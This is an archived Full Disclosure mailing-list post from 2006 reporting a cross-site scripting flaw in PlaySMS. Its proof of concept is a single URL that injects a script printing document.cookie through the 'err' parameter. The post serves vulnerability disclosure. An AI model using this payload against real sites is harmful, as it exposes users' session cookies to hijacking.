Full Disclosure mailing list archives

XSS in PlaySMS


From: "(M.o.H.a.J.a.L.i)" <mohajali2k4 () gmail com>
Date: Sun, 12 Feb 2006 01:35:26 +0200

I Found an XSS Vulnerability in PlaySmS

Site:
playsms.sourceforge.net


PoC:
www.target.com/playsms/index.php?err=<script>alert(document.cookie);</script


Salam

http://mohajali.lezr.org
--
(r).....Now I Am Become Death....The Destroyer Of Worlds....(c)
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread: